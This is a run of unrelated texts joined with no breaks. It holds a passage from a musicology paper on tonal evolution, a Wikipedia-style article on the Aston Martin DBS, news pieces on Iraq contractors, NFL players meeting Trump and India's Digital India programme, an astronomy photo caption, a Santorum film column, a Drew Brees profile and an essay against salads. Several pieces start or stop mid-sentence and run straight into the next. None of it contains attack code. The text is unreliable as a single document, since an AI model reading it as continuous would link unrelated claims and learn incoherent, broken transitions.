abstraction of environmental topographic schemes, and music is proposed as the primary medium for its cultivation through the concept of pitch. The comparison of stages of tonal organization and typologies of musical texture is used to define the overall course of tonal evolution. Tonal organization of pitch reflects the culture of thinking, adopted as a standard to optimize individual perception of reality within a social group in a way optimal for one's success, thereby setting the conventions of intellectual and emotional intelligence.
Introduction
Part-1 of this paper presented the framework for study of tonal organization in any kind of music. Based on the available data from archeology, anthropology, ethnomusicology and psychoacoustics, the known forms of tonal organization were lined out in a timeline, where the cognitive constraints of perception of different musical typologies were used as criteria for deciding which form of organization came first. The pattern of acquisition of music skills during infancy was used to hypothesize the succession of stages in separation of music from speech and descent of definite pitch organization from indefinite one. The existing types of indefinite-in-pitch music were analyzed to identify khasmatonal and ekmelic modes as specialized methods of processing indefinite pitch. Mechanisms of their evolution into oligotonal definite-pitch mode were defined. The principle of triadic induction was shown to determine the growth of oligotonal into mesotonal, and mesotonal into multitonal schemes. The resulting hemitonic heptatony and anhemitonic pentatony presented two alternative methods of organizing vertical and horizontal harmony—each offering a dedicated style of handling tonal tension—reflecting a more general style of worldview, based on the parallels between tonal tension and social tension. Commitment to heptatony or pentatony as the principal means of tonal organization within a culture, then, appears to generally correspond to the preferred lifestyle in a social group. This correspondence could be the product of abstraction of individual lifestyle preferences into the tonal schemata of a musical mode, and further mediation of the multitude of such modes within a social group - until the statistically prevailing mode would establish the model of tonal organization.
Part-2 continues drawing the lineage until the rise of Western tonality, identifying yet another venue of musical representation of perceptual reality—vertical and horizontal tonal structures encoding the perceived relation of multiple objects in one's surrounding. The spatial organization of depicted images appears to share the same principles as the tonal organization of music in the same culture, probably originating in its environmental topography. Spatial-to-tonal correspondence is the strongest in Western tonality, but is noticeable at earlier stages defined in Part-2: diatonic and chromatic mega-pitch-set (MPS) systems, and non-octave hypermode.
Genesis of Modal Family and the Role of Tetrachord
What separates prehistoric and historic forms of music is the emergence of math-based music theory and notation. Notation encourages production of complex compositions in observation of theoretic rules, and restrains discrepancies in reproduction of the same tune. Oral transmission of folk music, in contrary, employs variation as the leading music-making principle. Any information technology designed to enhance the retention of symbolic information should be regarded as stimulation for the emergence of abstract thought (Couch, 1989).
Musical implementation of abstraction was the inference of modal family from a single mode. The model of it is documented in cuneiform notation of the Hurrian Hymns and related texts from Ugarit ca. 1400 BC. They reveal that Assyrian/Babylonian music was heptatonic, based on 7 modes named after a particular series of 5ths that were used to generate each of the modes (Kilmer and Tinney, 1996).
1. Audio: An arrangement of the Hurrian Hymn No. 6, Anne Kilmer's transcription (1974). Kilmer's dyadic interpretation (Kilmer, 1974) was criticized for a number of inconsistencies with the data from the recovered music theory texts (West, 1994). http://bit.ly/1jttPpG
2. Audio: the alternative transcription by West (1993), which also was criticized (Crocker, 1997). http://bit.ly/1IVNBTM
3. Audio: the alternative transcription by Dumbrill (1998). Despite huge differences between the transcriptions of this single surviving sample of Babylonian music, together with the retrieved music theory texts, it provides substantial information on general principles of tonal organization. http://bit.ly/1KqPzJO
Our “Mixolydian G” formed the base of Babylonian system. Prioritization of Mixolydian mode is known in numerous Eurasian folk music systems (Belaiev, 1963). Mesopotamian music theory must have adopted it from folk tradition and “rasterized” it mathematically, adopting the tetrachord as the formative tool in modal genesis.
Eurasian instrument-makers have traditionally conceptualized ambitus through equivalence of 4th, which according to Beliayev (1990, p. 248) manifests “the first stage of maturity” in tonal organization—supporting professionalization of folk musical culture. Modal integrity of 4th was epitomized in the Pythagorean cult of Tetraktys (“quaternary”), originating in primitive cultures of the Bronze Age (Burkert, 1972, pp. 188–191), likely in Babylon (Barbera, 1984).
Tetraktys was the earliest rational conceptualization of spatial and tonal organization in a single scheme (Figure 1) of an equilateral triangle filled up with symmetrical rows of 1 to 4 dots. Each of these numbers encoded a geometric concept: 1—point, 2—line, 3—surface, and 4—tetrahedron—everyone of which contained the one before it (Riedweg, 2005).
FIGURE 1
Figure 1. Tetraktys (the “fourness”): the geometric representation of harmonicity of “4th.” (A) Musical aspect of tetraktys. On the left, each row is assigned a value that expresses the ratio of the string required for production of a perfect musical interval. Numbers 1, 2, 3, and 4 follow one another sequentially. Each row contains intervals of the designated type. On the right, the tetraktys diagram is combined with the lambdoma matrix (Bruhn, 2005, p. 67) that was associated with Pythagorean teaching in Ancient Greece (Hero and Foulkrod, 1999). The lambdoma ratios are applied to the frequency value of A4 (440 Hz) taken as |
gearbox upon request, azurite black exterior colour, blue brake calipers and a bronze coloured interior.
The DBS UB-2010 Limited Edition was unveiled at the 80th Geneva Motor Show.[8]
2011 DBS Carbon Edition (2011–2012) [ edit ]
DBS Carbon Edition
At the end of its production run, Aston Martin introduced a final edition of the DBS, named the Carbon Edition. Available as both a coupé and Volante (convertible), it had a choice of three body colours (Flame Orange, Ceramic Grey, Carbon Black) with glass veneer appearance (optional satin lacquer paint finish), 10-spoke gloss black diamond turned wheels with a reversed diamond turned (optional full gloss black) finish, black (optional yellow, orange, red or grey) brake callipers, warm black grille, carbon fibre mirror heads, carbon fibre rear lamp in-fills, smoked rear lights, obsidian black or maranello orange semi-aniline leather upholstery, leather-quilted headlining, carbon fibre trim with a carbon weave positioned exactly to follow the form of the dashboard, unique carbon fibre special edition sill plaque with laser etched metal inlay, Aston Martin Garmin satellite navigation system and beam blade windscreen wipers.
The Carbon Edition was unveiled at the 2011 Frankfurt Motor Show.[9]
Deliveries began in the third quarter of 2012.[10][11]
Year of the Dragon 88 Limited Edition (2012) [ edit ]
The DBS Volante Dragon 88 honours the Year of the Dragon in China. It has 24-carat gold plate on nickel-coated Aston Martin wing badges affixed to the bonnet and rear of each car, bright finish front grille, bonnet meshes and side strakes; choice of three unique 10-spoke designs lightweight forged wheels with a special silver finish, Black brake callipers, a choice of 3 body colours (Amethyst Red, Volcano Red, Champagne Gold) with matching interior upholstery colours (Spicy Red, Deep Purple, Chancellor Red interior for Amethyst Red, Volcano Red, Champagne Gold body respectively), Sahara Tan thread stitching, Piano Black facia trim with a unique gold inlay pattern at dashboard, glass switchgear, headrest embroidery design with rendered using four thread colours (Metallic Gold, Cream Truffle, Winter Wheat and Kestrel Tan) inspired by the Nine-Dragon Wall in Beihai Park, unique laser-etched sill plaques bearing the number and designation, Presentation Box wrapped in the same leather as the interior of their car and lined with Ivory Alcantara (box lid bears an embroidered dragon, with Aston Martin wings embossed on to the front of the lid and a replica sill plaque on the inside of the lid; each box contains an Owner's Guide with gold detailing, two glass ECUs with leather pouches, a pair of customised Bang & Olufsen earphones with laser-etched Aston Martin wings in a leather pouch), 1000W Bang & Olufsen audio system.
The DBS Volante Dragon 88 was unveiled at the 2012 Beijing International Automotive Exhibition and production was limited to 88 units.[12][13]
Specifications [ edit ]
Overview specifications [ edit ]
Transmission [ edit ]
The DBS is equipped with a Graziano six-speed manual transaxle (initial 'launch' gearbox) and the optional 'Touchtronic 2' six-speed automatic transmission, based on the same ZF transaxle unit that was developed for the DB9, was introduced in 2008.[15]
Performance [ edit ]
The DBS is equipped with Aston Martin's 5.9-litre AM11 V12 engine with four valves per cylinder.[16] The same engine is also used in the DBR9 and DBRS9 racing cars albeit with extensive modifications. The engine of the DBS has a power output of 517 PS (380 kW; 510 hp) at 6,500 rpm and 570 N⋅m (420 lb⋅ft) of torque at 5,750 rpm with a compression ratio of 10.9:1. The engine also includes an active bypass valve which above 5,500 rpm opens and lets more air into the engine resulting in increased performance and propels the car from 0 to 100 km/h (62 mph) in 4.3 seconds and has a maximum speed of 307 km/h (191 mph) and 295 km/h (183 mph) with Touchtronic II transmission.[17] In 2007, the British motoring show Top Gear sent the DBS around their Top Gear test track with a lap time of 1:23.9; 3.2 seconds faster than its predecessor, the Vanquish S and a second faster than the comparable Bentley Continental GT Supersports.
Handling [ edit ]
The DBS uses the VH Generation II platform, which provides strength and rigidity to the whole car. Thanks to the structure, 85% of the weight of the car is kept between the wheelbase, which results in increased handling, responsiveness and feel during tight cornering.[18]
Aston Martin has also developed an Adaptive Damping System, or ADS, which alters the suspension in order for the car to cope with the driver's desired driving mode according to the road/weather conditions. When turned on, the ADS automatically alters the suspension settings to ensure the driver has high levels of control at all times. Apart from the suspension getting stiffer, throttle and braking response is increased and steering is sharpened.
The DBS is fitted with Pirelli P-Zero tyres developed especially for the car, along with lightweight, aluminium 20-inch wheels.
To keep the weight as low as possible, Aston Martin made extensive use of carbon fibre throughout the whole car. The bonnet, the boot, the front wings, the door opening surrounds and the boot compartment are all made of carbon fibre. The carpets are also made by special thin layers made from carbon fibre. The roof and the doors are made of aluminium. The result is a 30 kg (66 lb) weight reduction as compared to the DB9. The car is also fitted with a carbon fibre splitter at the front wings to increase handling and a carbon fibre rear diffuser to increase high-speed stability.
The brake discs are carbon ceramic, which shaves a significant 12.5 kg (28 lb) from the unsprung weight. At the front, there are 398 mm (15.7 in) ventilated and drilled brakes with 6-piston alloy monobloc calipers. At the back, there are 360 mm (14.2 in) ventilated and drilled brakes with 4-piston alloy monobloc calipers.
Interior [ edit ]
The interior of a DBS is a blend of carbon fibre, alcantara, leather, wood, stainless steel and aluminium surfaces. The door panels are capped with carbon fibre and utilize CF door pulls. The fascia is, as standard, matrix alloy and iridium silver centre console or, as an optional extra, piano black fascia and centre console. To achieve even greater weight savings, the carpet has a special lightweight weave. The car is started by means of the "Emotion Control Unit", which was initially developed especially for the DBS but as of 2008 is available for the DB9 and V8 Vantage as well. The key is made from stainless steel and glass and is inserted into a special slot in the dashboard.[19]
Film appearances [ edit ]
One of the Aston Martin DBS' used in the James Bond film Casino Royale
The DBS was first seen in the 2006 James Bond film Casino Royale, the first film in which Bond was played by Daniel Craig, as a result of a product placement deal with Aston Martin's parent company at the time, Ford.
Although the company sold over 90% of Aston Martin Lagonda Limited in 2007, the DBS returned for the pre-credits car chase around Lake Garda in the 2008 Bond film Quantum of Solace.[20]
Naming confusion [ edit ]
Some confusion over the name of the production version occurred when some test mules running around the Nürburgring were given DBRS9 badges. However, it would seem that this was only a trick played by the company to confuse spy photographers.[21] The official name of the vehicle was declared to be DBS.
Production [ edit ]
The DBS was built in Gaydon, Warwickshire. Its engine was built at the Aston Martin engine plant in Cologne, Germany.
Production of the DBS totalled 3,400 units.Photo
WASHINGTON — The thousands of American contractors in Iraq who have been above Iraqi law since the war began are suddenly facing a new era in which their United States passports will no longer protect them from arrest and imprisonment.
When the Iraqi government ratified an agreement last week setting new terms for a continued American presence in Iraq, private contractors working for the Pentagon faced the inevitability that they would be stripped of their immunity from Iraqi law. That immunity had been granted by the Coalition Provisional Authority before a postwar Iraqi government was established.
Now that the contractors’ legal protection is to lapse, officials in the defense contracting industry are trying to come to grips with how their operations will change in Iraq, how many of their American employees will be sent home, and whether the weak and often corrupt Iraqi judicial system will become an impediment to recruiting Western workers. If it is approved by Iraq’s Presidency Council, as expected, the agreement will go into effect on Jan. 1.
So far, no major company working in Iraq has announced plans to withdraw from the country. Some industry experts said that while the corporations would stay, they would be forced to rely much more on Iraqi employees, rather than on Americans and other foreigners who might fear working without legal protection.
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Spokesmen for many of the major contracting companies declined to comment on the change in legal status in Iraq, while others said it was premature to predict the impact. Some said Americans working in Iraq would be watching how the Iraqi government dealt with its new power, and would wait and see whether there were arbitrary arrests or court rulings tainted by corruption before deciding whether to stay.CLOSE NFL great Peyton Manning will speak at a GOP retreat that also includes President Donald Trump, Politico first reported. Time
Former U.S. Olympian Tommie Smith speaks as Detroit Lions wide receiver Anquan Boldin, left, listens during a sports and activism panel entitled "From Protest to Progress: Next Steps" on Tuesday, Jan. 24, 2017, in San Jose, Calif. (Photo: Marcio Jose Sanchez, Associated Press)
SAN JOSE, Calif. -- Anquan Boldin would welcome and appreciate the chance to sit down with new President Donald Trump and discuss concerns for minorities.
The NFL wide receiver and impending Detroit Lions free agent insists that, like Trump or not, communication and civil discourse are the only ways to move forward in a positive way with a country divided.
“We are in a period where this country is divided. I think anybody that says otherwise is fooling themselves,” Boldin said Tuesday. “But I do think, in order for us to be successful, at some point, we have to come together. You might not like the other person or you might not like what they stand for or whatever it is. We have a trip planned to D.C. this coming spring, and I was asked the question, ‘If you were invited to the White House, would you meet with President Trump?’ My answer was yes.
“At this point, in order for anything to be changed, you have to sit down and talk with President Trump. At this point, the Republicans, they’re in control of the House, they’re in control of the Congress, so in order for anything or any change, you have to meet with the powers that be and you have to sit down and explain exactly where you’re coming from, but also, you have to be willing to listen. I think that’s one of the things that’s hindering us, as a country, now: Nobody listens to each other no more.”
Boldin took part Tuesday in a panel discussion led by activist and sociologist Dr. Harry Edwards called “From Protest to Progress: Next Steps” at San Jose State University, where the school announced its new Institute for the Study of Sport, Society and Social Change during the “From Words to Action” summit.
Pro Football Hall of Famer Jim Brown, a civil rights leader, was part of a group that included ex-linebacker Ray Lewis to meet with Trump last month to speak about issues and challenges facing African-Americans in inner cities.
“I’m an American citizen. I voted for Hillary Clinton, and we lost,” Brown said. “I look to the seat of power, which is the President of the United States. Donald Trump won that seat, therefore, a lot of people went home and sat down and started complaining and voicing their opinions on him. I went back to the people I had ready to be able to do certain things that were positive for the young people across this country and told them that I would reach out to the president. But his people reached out to me, and they liked my program.
Others taking part Tuesday included Kareem Abdul-Jabbar, former NFL player Takeo Spikes, ex-Michigan basketball star Chris Webber and former Olympic sprint star and activist Tommie Smith.
Spikes in no way expects everyone to be comfortable speaking out publicly but encourages people to decide where they stand on social issues.
“I’ve always known that, any time you want to make change, you have to be proactive,” he said.
Brown will keep doing his part, determined to help boost jobs through life-management skills and is committed to the “eradication of the violence in these neighborhoods around the country.”
He is prepared to continue proactive dialogue with Trump while giving voices to the minorities and underprivileged who might not be heard otherwise.
“I’m very optimistic,” Brown said. “I am going to convey something, I have conveyed something to him and I have called his attention to the minorities in this country and the fact that we have forces out there that will work with his administration to make a better life for these minorities. Ray Lewis is my lead guy, and we have been really accepted with great respect by the president and a lot of people on his staff.
“And as I said to everybody: ‘I don’t play quarterback, I’m just a running back, so I don’t have the answer to everything.’”
Copyright 2017 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.The boxes sat next to the desk of Amit Bansal, the district information officer of Jhajjar, the Haryana district that lies about 50 km west of Delhi. They contained new computers purchased by the department for a new Information Technology lab in the district secretariat.
Bansal was busy uploading the latest voters’ list on the district’s newly-constructed website when a representative of the company that supplied the computers walked into the room. He wanted to know if the machines were working okay.
Bansal called in two of his staff members and shot off instructions. “Ensure that the operating system is loading and get them to install all the necessary software on each one of these machines,” he said. “And then pack these up in the same boxes before you leave.”
Asked why would he want to have the new machines repacked and left to gather dust, Bansal had a clear answer. “The infrastructure is not ready,” he said.
Not only is the lab in Jhajjar still under construction, the broadband internet connection promised by the central government under the Digital India programme is yet to materialise.
Boxes of brand new computers waiting to be used at the Jhajjar secretariat. Photo: Mayank Jain
Launched last year by Prime Minister Narendra Modi, Digital India, one of the marquee programme of the central government, aims to bring the internet to 1.2 billion Indians by 2019. About 300 million people in India have access to the internet, mostly on their mobiles. Modi, in his election campaign in 2014, had promised to bring the internet to the rest, and use it to power businesses, create jobs and make the government accessible to citizens.
But two years into office, his vision is running into roadblocks, both physical and financial.
Empty pipes
The most basic building block of Digital India is the network of optical fibre – or underground pipes that carry high-speed internet to villages. The programme builds on the initiative of the previous United Progressive Alliance government to create such a network. In 2011, the Congress-led United Progressive Alliance government launched a project called the National Optical Fibre Network that aimed to bring internet connectivity to over 2.5 lakh gram panchayats in the country with a budget of Rs 20,000 crore. The project deadline was March 2017, which was advanced by Modi government to December 2016. The optimism, however, was misplaced.
The progress on rolling out the infrastructure has been slow. Until May 2015, only 19,440 gram panchayats – less than 10% of the target – had been covered, according to a standing committee report tabled in Lok Sabha. The committee took note of the snail’s pace of cable-laying and said achieving the Digital India targets looked like an “extremely Herculean task”. This year, in March, the government revised down the target to one lakh gram panchayats.
In Jhajjar, one of the 21 districts of Haryana where Digital India is being implemented on a priority basis, the picture is complicated. On paper, the cables have been laid and the district is connected, but officials at the secretariat admitted that there’s no connectivity yet and it’s unlikely to come in the near future.
“The cables are there but the servers needed to start the internet connection haven’t arrived,” said Shashikant, who is responsible for rolling out e-governance programmes in the district. “The state and central governments are just sitting and waiting. I wish there was some support from them so that things could actually happen here in Jhajjar, just the way they happen in Delhi.”
Jhajjar isn’t an exception. Far away in the state of Jharkhand, Bokaro, another priority district, is similarly struggling to achieve its targets under the Digital India programme. “The cables are there but there’s no internet,” said a senior official, who requested anonymity. The companies laying the optical fibre network have managed to connect only 18 of the 251 panchayats in the district, he said.
The Ministry of Telecommunications has outsourced the task of laying the network of optical fibres to public and private companies. In March, the department of telecom wrote to one of the companies, Railtel, pointing out that its performance has been “very poor” and only 6,000 kms of fibre has been laid while ducts for these cables have been laid for more than 10,000 kms.
On their part, the companies have claimed that they are victims of the lack of co-ordination between the Centre and states. Even after they obtained permissions, they faced resistance from local residents in areas where they had to dig cables.
The end result, said Osama Manzar from the non-profit Digital Empowerment Foundation, is akin to “building a school but not hiring teachers or admitting students”.
He said: “They are laying pipes and registering villages as connected without ever firing up those connections and checking if the speed is fine or if the connection is even working.”
The business of service
Mohit Gupta is one of the most vocal critics of Digital India in Jhajjar. The young final-year engineering student has reason to be upset: he put his money into setting up a common service centre under the programme, and the investment isn’t paying off.
Common service centres, known as CSCs in government parlance, form the last-mile link in Digital India. Derived from a previous Congress-led UPA initiative called the national e-governance programme, CSCs are supposed to be the link between the government and the people. These centers are meant to function as digital outlets providing a bouquet of services at minimal cost by utilising the optical fibre network which connects gram panchayats to government websites.
The Jhajjar administration has been boasting through billboards and advertisements that citizens can access multiple services, including obtaining caste and domicile certificates, filing taxes and booking rail tickets at 90 CSCs across the district.
But Gupta, who runs one of the CSCs in Jhajjar city, pointed out that the centres are running purely on the enterprise of individuals like him.
“The government support is minimal,” he said. “They just allow you to set up a center and provide login credentials to the portal where these services can be accessed.” With the optical fibre network not in place in the district, Gupta is paying Rs 1,500 for an Airtel broadband connection.
Mohit Gupta, CSC owner, helps a customer file an application for his domicile certificate. Photo: Mayank Jain
With the owner bearing the cost of infrastructure, equipment and utility bills, the economics were not encouraging, he said. He was fortunate to have space available within his family-owned shop to set up the centre. But for those who need to pay rent, in addition to other bills, the business from the centre was not adequate to cover costs, he contended.
For one, they could only charge customers the government-mandated amount for services, ranging from Rs 40 for a certificate to Rs 100 for preparing an application. This revenue has to be shared with both the local and state governments.
On an average, the daily turnout at Gupta’s centre rarely exceeded 20-30 customers. Through April, most of them were students, who spent Rs 10 to check their school exam results. Often, customers came to make enquiries, but did not actually make a transaction.
On a Friday afternoon in April, for instance, Gupta spent an hour explaining the process of booking a railway ticket online to a young man who went away without actually booking one. In what underlined the irony of Digital India, the young man was carrying an expensive smartphone – and yet did not know how to book a ticket online.
Digital literacy
Rahul Khullar, the former chairman of the Telecom Regulatory Association of India, oversaw the rollout of Digital India programme. But he now confesses to being disappointed with where the programme stands.
“Digital India requires you to look at an entire range of issues which are beyond just infrastructure even though infrastructure is the minimum basic requirement,” Khullar told Scroll.
One of these issues is digital literacy – do citizens know how to use the internet? Another is utility – would they consider it worthwhile to use it?
Khullar said the government has largely failed on both fronts. There is little demand for state-provided broadband internet. Mobile networks have filled the gap and apps like WhatsApp have proven useful to people, he said.
“People don’t have any use for this technology that you [the government] are building,” he said. “The ecosystem requires creation of software and apps which are useful to people and can be provided in local languages. That has not happened so far.”
This is evident in Jhajjar where young people flaunt expensive iPhones and spend hours on social networking sites, but when it comes to getting government work done, they line up outside CSCs and government offices.
“People love using 3G but they don’t know how to book a train ticket or get their own marksheet online,” said Radhe Shyam Gupta who runs a common service center at Dulhera village in Jhajjar district.
The centres are supposed to double up as "digital literacy" centres, offering a course to citizens for free, but few locals in Jhajjar knew about this. “We don’t know what internet is and nobody came to teach us,” said Raju, a 40-year-old mechanic who repairs motors and machinery, when asked about the digital literacy programme. He said he had a computer at home but had avoided taking an internet connection.
Raju, the mechanic who sits next to a common service center. He hasn't ever used the internet. Photo: Mayank Jain
“Kids use it to watch obscene stuff,” he said. “I can’t afford dal twice a day so why should I buy expensive internet plans just because Modi ji is promoting it?”
Fraud and funds
The digital literacy might not be creating internet-savvy citizens, but it has helped shore up the viability of common service centres.
The week-long course is fairly simple, claimed CSC owners. It takes them about an hour to teach someone how to use a computer, they said, and students are put through an online test at the end of a week. For every student who clears the test, the CSCs are paid Rs 375 per student in case of a general category student and Rs 500 for a backward community student
This has become an opportunity for money making, claimed officials.
Amit Bansal, the district information officer, said that almost 90% of the digitally literate citizens can’t even switch on a computer because their test has been given by someone else – usually the owner or manager of the CSC.
“The test taker is required to sit in front of the camera but it doesn’t capture who is sitting next to him,” Bansal said. “It’s usually the CSC owner who has offered a candy or ice cream to the test taker and has filled up the answers with the keyboard on his lap.”
A former official from TRAI requesting anonymity said that the National Digital Literacy Mission is a “farce” created to save face when the government fails to provide internet to people.
“They [the government] have to defend their over-ambitious targets [of laying optical fibres and providing connections] which are never going to be achieved,” he said. “They will say they focused on digital literacy which they achieved, but what is the use of knowing what the internet is when you aren’t going to get it for the next five years?”
The official claimed that the fundamental problem with Digital India was the lack of funds. The special purpose entity floated to execute the project, the Bharat Broadband Nigam Limited, is financed through a special corpus, the Universal Service Obligation Fund. The project needs an estimated Rs 1.5 lakh crores in the next five years. The TRAI official said finding this money was next to impossible.
“These are castles in the air,” he said. “You need to spend more than Rs 30,000 crores a year on the Digital India mission to keep it on track. In its 14 years of existence, the USOF [the Universal Service Obligation Fund] has never spent more than Rs 3,000 crores a year.”
Meanwhile, in Dulhera village, a new batch of school students is being prepared to sit for the digital literacy test at the common service centre. One batch of students has already received the certificates.
“All except two students failed their class 10th board examinations,” smirked Raju, the village motor-mechanic. “But at least now they are digitally literate.”If you are a resident of the U.S., donations to 501(c)(3) organizations are generally tax deductible, but please check with a tax professional to be sure. You will receive a confirmation email from Google, which serves as your donation receipt and confirms that no goods or services were received.
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If your country is not mentioned above, your donation is not tax deductible.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2014 December 27
The Winter Shower
Image Credit & Copyright: Jia Hao
Explanation: Known in the north as a winter meteor shower, the 2014 Geminids rain down on this rugged, frozen landscape. The scene was recorded from the summit of Mt. Changbai along China's northeastern border with North Korea as a composite of digital frames capturing bright meteors near the shower's peak. Orion is near picture center above the volcanic cater lake. The shower's radiant in the constellation Gemini is to the upper left, at the apparent origin of all the meteor streaks. Paying the price for such a dreamlike view of the celestial spectacle, photographer Jia Hao reports severe wind gusts and wintery minus 34 degree C temperatures near the summit.Rick Santorum movie flops, representing another victory for the devil
Former U.S. Sen. Rick Santorum, R-Pa., who is also a former candidate for president, once called Hollywood "the devil's playground." Now, it seems that the devil, or something just as sinister, has bedeviled Santorum's new role as movie mogul.
It was only a matter of time before somebody finally would be able to make a movie that is worse than "Ishtar."
Santorum is the CEO of EchoLight Studio, a film production company, which he promised will be "the Pixar of faith," a reference to a successful animated movie studio that has won 27 Academy Awards. The first release from EchoLight under his leadership, just in time for the holiday season, is "The Christmas Candle."
It's about a preacher who takes over a parish in a small English town, where the congregation believes in a magic candle. Every 25 years an angel visits the town's candle-maker and touches one of the candles, which results in a miracle on Christmas Eve for the person who buys it.
Sounds heartwarming, but the movie has been lambasted by critics and has bombed at theater box offices.
"Artless" and "muddled," said The New York Daily News. "A vaguely distasteful Yuletide concoction," said one critic. Another bashed "this Bible-banging hunk of whimsy." Roger Moore, whose reviews often appear in The Morning Call, called it "pablum, best served to babies and the undiscriminating." Even the rare positive reviews were lukewarm at best.
Because of all those heathen movie reviewers, Santorum may have to wait a while before he gets Pixar-like recognition.
I have not been very kindly disposed toward Santorum, especially when he was pursuing his political crusade to abrogate the part of the Bill of Rights that says America cannot have an established religion. He thundered that the only rights Americans have must come from God, not some silly piece of paper, and the only valid interpretation of what God wants is defined by the Judeo-Christian religion.
"I'm talking about the Bible," he preached in a sermon against abortion rights, as he was running for president. That compelled me to speak against Santorum or anyone else who tried "to impose dogmatic views on others by force."
Santorum won caucus or primary elections in three states before his presidential campaign sputtered last year, so he was a viable candidate and for a while it appeared we could have a president who wanted to establish a theocracy. (Today, the world's only theocracies are nations like Iran and Saudi Arabia; Santorum wanted to make us just like them, only not Islamic.) He even bashed the memory of President Kennedy, a fellow Catholic, because JFK condoned the separation of church and state.
On Tuesday, colleague Bill White wrote about similar concerns over another Pennsylvania politician, former Gov. Robert Casey, because of his religion-based opposition to abortion.
White said "many people are uncomfortable with the juxtaposition of faith and politics," and noted that dogmatic views find their way into comments by Lehigh County Commissioner Vic Mazziotti.
Casey, Mazziotti and most other politicians, however, do not usually call for the official establishment of a particular religion as forcefully as Santorum has done.WHITE SULPHUR SPRINGS, W.Va. – Drew Brees said he was joking when he tweeted about how suspicious it was that he was “randomly” drug tested by the NFL twice after claiming he wants to play until he’s 45 years old.
On Friday I said I thought I could play til age 45. I have been "randomly" selected for drug tests the last 2 days. What's up with that! Lol — Drew Brees (@drewbrees) July 27, 2014
But when it comes to those comments themselves about wanting playing for another 10 years, Brees said he was dead serious.
“I’m not delusional. I know that that’s something that would be extremely difficult to do,” Brees said. “I know it’s one year at a time and it’s, ‘What have you done for me lately?’ You have to come out each and every year, prove it, be consistent and all of those things.
“But why not push the envelope a little bit. Crazier things have happened.”
I followed up with Brees on the subject Tuesday because I suspected that he was indeed serious when he threw that lofty goal out there. And not only did he insist he was serious, but he offered a lot of insight into what makes him tick.
“Not many have done that,” Brees said. “George Blanda, he was plenty past 45. I’ve played with a couple of kickers, [John] Carney, John Kasay, of course Morten Anderson played past 45. Vinnie Testaverde was 44. It can be done. A lot of things would have to fall into place.
“I think throughout your career you hit certain milestones. I came in this league as a second-round pick to the San Diego Chargers. They signed Doug Flutie in free agency so I knew I was coming into a backup position for Doug Flutie. At that point your goal becomes, ‘You know what, I just want to become a starter in this league and earn a starting role.’ So then the minute you kind of get that, then, ‘OK, what’s the next step? I want to be a really good player. I want to be a Pro Bowl player in this league.’ Then you accomplish that, now, ‘It’s my fourth year, I think I can make it to double digits. I can play 10 years in this league.’ Then you hit that, then you are like, ‘OK, I want to play until I’m 35.’ Now I’m 35, so what’s the next thing? That is where my head is at. …
“It’s certainly not going to be easy, but I try to play this game like I am a kid and have fun like I did when I was playing it, tossing the ball down the street with my brother, buddies from school or whatever. I still have that playful mentality when it comes to it, so you enjoy coming to work every day. This is a serious business. They don’t keep you around if you aren’t playing well. You still have to play at a high level. You have to find a way to take care of your body and make good decisions in regards to that. I believe I can do that.”
So can Brees really do it? I’m not going to rule it out.
For one thing, Brees has shown no real signs of slowing down. Yes, he had some uncharacteristic struggles on the road last season, but he was as dominant as ever inside the Mercedes-Benz Superdome. And his final numbers in almost every major passing category ranked among the three best in his tenure with the New Orleans Saints (5,162 yards, 39 touchdowns, 12 interceptions, 68.6 completion percentage and 104.7 passer rating).
For another things, Brees’ game doesn’t rely on superior arm strength or athleticism as much as it does his mental game, his instincts, his quick decision-making and his accuracy.
But more than anything else, Brees is one of the most driven, determined competitors the league has ever seen. And he said the other day that he’s motivated by trying to accomplish things that have never been done before or that people consider impossible. So if nothing else, Brees may just stubbornly will himself to keep thriving for another decade.Salads are an unappetizing scam. I’m not talking about a nice little side salad to go with a meaty main dish, or a pasta salad laden with rotini, feta and chickpeas. But anything that’s more than 20% leaves and served as a meal is inevitably lacking in nutrition, leaving you both hungry and hangry. That’s because the whole dish serves as a means of eating as little as possible.
I saw right through salads when I was a kid, bypassing bowls of spinach leaves and heading straight for the chicken fingers. But over the years, the onslaught of diet propaganda wore me down. In the face of juice cleanses and paleo diets and carb-free regimes, I began to see salads, comparatively, as real, proper food. I had salads nearly every day for lunch, bought from one of the dozens of salad purveyors within 50 steps of my office building. I told myself that because they were filled with chopped-up artichoke and corn and drizzled with dressing that they constituted healthy, filling meals. But when I became seriously injured recently, I rediscovered the fact that salads are patently ridiculous. My body needed fuel and nutrition to heal—and lettuce with tomatoes and cucumbers just wasn’t going to cut it.
Rhiannon Lambert, a nutritionist in London, gives credence to my salad hatred. Just because a dish is green or colorful, she says, does not mean it should constitute a meal. “There’s rarely enough chicken on a chicken salad, rarely enough cheese or seeds and nuts and healthy fats,” she says. “It’s predominantly just leaves. It will leave you feeling hungry, it won’t keep you sustained, it’s not going to feed your brain at all.”
Without a good helping of healthy fats, Lambert explains, the body won’t be able to absorb a lot of the micronutrients in a salad. And protein should be a significant part of every meal. So a niçoise salad, with tuna and egg and potatoes, is a perfectly acceptable dish. Loading up on tons of vegetables will comparatively offer far more fiber—and satisfaction—than a bowl of arugula with a few beets and seeds strewn about on top. But a vegan option without any salad dressing “won’t give you much at all,” says Lambert. As the Washington Post explored last year, many salad ingredients are mainly water and low on nutrients.
So why have salads become such a commonplace meal? Because bowls of leaves are really just the side helping to the constant diet of guilt our culture feeds women about their bodies. Salads are a socially acceptable way of eating less and limiting calories. “I get it, we all get it,” says Lambert. “We all have an inner critic and it talks to us every day, especially women.”
In some cases, an obsession with healthy foods is a sign of a clinical eating disorder called “orthorexia nervosa.” But Thomas Dunn, psychology professor at University of Northern Colorado who focuses on eating disorders, explains that many people |
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